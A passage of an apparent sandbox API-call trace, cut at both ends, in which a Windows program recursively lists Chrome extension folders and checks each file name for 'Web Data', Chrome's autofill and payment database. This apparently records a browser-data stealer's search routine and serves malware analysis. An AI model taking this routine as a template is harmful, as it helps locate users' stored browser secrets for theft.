Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.421] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.421] lstrlenA (lpString="\\") returned 1 [0056.421] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.421] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.421] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.421] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.421] lstrlenA (lpString="zh_TW") returned 5 [0056.421] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2e0210 [0056.421] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.421] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW" [0056.421] LocalFree (hMem=0x2e0100) returned 0x0 [0056.421] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW") returned 134 [0056.421] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW") returned 134 [0056.421] lstrlenA (lpString="\\*.*") returned 4 [0056.421] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2e0320 [0056.421] lstrcpyA (in: lpString1=0x2e0320, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW" [0056.421] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\*.*" [0056.421] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.422] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.422] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.422] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.422] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.422] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.422] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.422] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.422] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.422] LocalFree (hMem=0x2e0320) returned 0x0 [0056.422] LocalFree (hMem=0x2e0210) returned 0x0 [0056.422] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0 [0056.422] FindClose (in: hFindFile=0x2dc878 | out: hFindFile=0x2dc878) returned 1 [0056.422] LocalFree (hMem=0x2dfff0) returned 0x0 [0056.422] LocalFree (hMem=0x2dfee0) returned 0x0 [0056.422] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.422] lstrcmpiA (lpString1=".", lpString2="_metadata") returned -1 [0056.422] lstrcmpiA (lpString1="..", lpString2="_metadata") returned -1 [0056.422] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0") returned 119 [0056.422] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0") returned 119 [0056.422] lstrlenA (lpString="\\") returned 1 [0056.422] LocalAlloc (uFlags=0x40, uBytes=0xf9) returned 0x2dfdd8 [0056.422] lstrcpyA (in: lpString1=0x2dfdd8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0" [0056.422] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\" [0056.422] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\") returned 120 [0056.422] lstrlenA (lpString="_metadata") returned 9 [0056.422] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dfee0 [0056.422] lstrcpyA (in: lpString1=0x2dfee0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\" [0056.422] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\", lpString2="_metadata" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata" [0056.422] LocalFree (hMem=0x2dfdd8) returned 0x0 [0056.422] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata") returned 129 [0056.422] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata") returned 129 [0056.422] lstrlenA (lpString="\\*.*") returned 4 [0056.422] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dfff0 [0056.422] lstrcpyA (in: lpString1=0x2dfff0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata" [0056.422] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\*.*" [0056.422] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.422] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.422] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.422] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.422] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.422] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.422] StrStrIA (lpFirst="computed_hashes.json", lpSrch="Web Data") returned 0x0 [0056.423] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.423] StrStrIA (lpFirst="verified_contents.json", lpSrch="Web Data") returned 0x0 [0056.423] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0 [0056.423] FindClose (in: hFindFile=0x2dc878 | out: hFindFile=0x2dc878) returned 1 [0056.423] LocalFree (hMem=0x2dfff0) returned 0x0 [0056.423] LocalFree (hMem=0x2dfee0) returned 0x0 [0056.423] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 0 [0056.423] FindClose (in: hFindFile=0x2dc838 | out: hFindFile=0x2dc838) returned 1 [0056.423] LocalFree (hMem=0x2decc8) returned 0x0 [0056.423] LocalFree (hMem=0x2debc8) returned 0x0 [0056.423] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 0 [0056.423] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.423] LocalFree (hMem=0x2dd9c0) returned 0x0 [0056.423] LocalFree (hMem=0x2dd8c0) returned 0x0 [0056.423] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.423] lstrcmpiA (lpString1=".", lpString2="ghbmnnjooekpmoecnnnilnnbdlolhkhi") returned -1 [0056.423] lstrcmpiA (lpString1="..", lpString2="ghbmnnjooekpmoecnnnilnnbdlolhkhi") returned -1 [0056.423] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0056.423] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0056.423] lstrlenA (lpString="\\") returned 1 [0056.423] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x2dd7e0 [0056.423] lstrcpyA (in: lpString1=0x2dd7e0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0056.423] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0056.423] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned 81 [0056.423] lstrlenA (lpString="ghbmnnjooekpmoecnnnilnnbdlolhkhi") returned 32 [0056.423] LocalAlloc (uFlags=0x40, uBytes=0xf2) returned 0x2dd8c0 [0056.423] lstrcpyA (in: lpString1=0x2dd8c0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0056.423] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\", lpString2="ghbmnnjooekpmoecnnnilnnbdlolhkhi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi" [0056.423] LocalFree (hMem=0x2dd7e0) returned 0x0 [0056.423] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi") returned 113 [0056.423] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi") returned 113 [0056.423] lstrlenA (lpString="\\*.*") returned 4 [0056.423] LocalAlloc (uFlags=0x40, uBytes=0xf6) returned 0x2dd9c0 [0056.423] lstrcpyA (in: lpString1=0x2dd9c0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi" [0056.423] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*.*" [0056.423] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*.*", lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 0x2dc7f8 [0056.423] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.423] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 1 [0056.423] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.423] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.423] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 1 [0056.423] lstrcmpiA (lpString1=".", lpString2="1.4_0") returned -1 [0056.423] lstrcmpiA (lpString1="..", lpString2="1.4_0") returned -1 [0056.423] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi") returned 113 [0056.423] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi") returned 113 [0056.423] lstrlenA (lpString="\\") returned 1 [0056.423] LocalAlloc (uFlags=0x40, uBytes=0xf3) returned 0x2deac8 [0056.424] lstrcpyA (in: lpString1=0x2deac8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi" [0056.424] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\" [0056.424] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\") returned 114 [0056.424] lstrlenA (lpString="1.4_0") returned 5 [0056.424] LocalAlloc (uFlags=0x40, uBytes=0xf8) returned 0x2debc8 [0056.424] lstrcpyA (in: lpString1=0x2debc8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\" [0056.424] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\", lpString2="1.4_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0" [0056.424] LocalFree (hMem=0x2deac8) returned 0x0 [0056.424] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0") returned 119 [0056.424] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0") returned 119 [0056.424] lstrlenA (lpString="\\*.*") returned 4 [0056.424] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x2decc8 [0056.424] lstrcpyA (in: lpString1=0x2decc8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0" [0056.424] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\*.*" [0056.424] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\*.*", lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 0x2dc838 [0056.424] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.424] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.424] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.424] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.424] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.424] StrStrIA (lpFirst="128.png", lpSrch="Web Data") returned 0x0 [0056.424] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.424] StrStrIA (lpFirst="contentscript_bin_prod.js", lpSrch="Web Data") returned 0x0 [0056.424] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.424] StrStrIA (lpFirst="dasherSettingSchema.json", lpSrch="Web Data") returned 0x0 [0056.424] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.424] StrStrIA (lpFirst="eventpage_bin_prod.js", lpSrch="Web Data") returned 0x0 [0056.424] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.424] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0056.424] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.424] StrStrIA (lpFirst="page_embed_script.js", lpSrch="Web Data") returned 0x0 [0056.424] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.424] lstrcmpiA (lpString1=".", lpString2="_locales") returned -1 [0056.424] lstrcmpiA (lpString1="..", lpString2="_locales") returned -1 [0056.424] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0") returned 119 [0056.424] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0") returned 119 [0056.424] lstrlenA (lpString="\\") returned 1 [0056.424] LocalAlloc (uFlags=0x40, uBytes=0xf9) returned 0x2dfdd8 [0056.424] lstrcpyA (in: lpString1=0x2dfdd8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0" [0056.424] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK 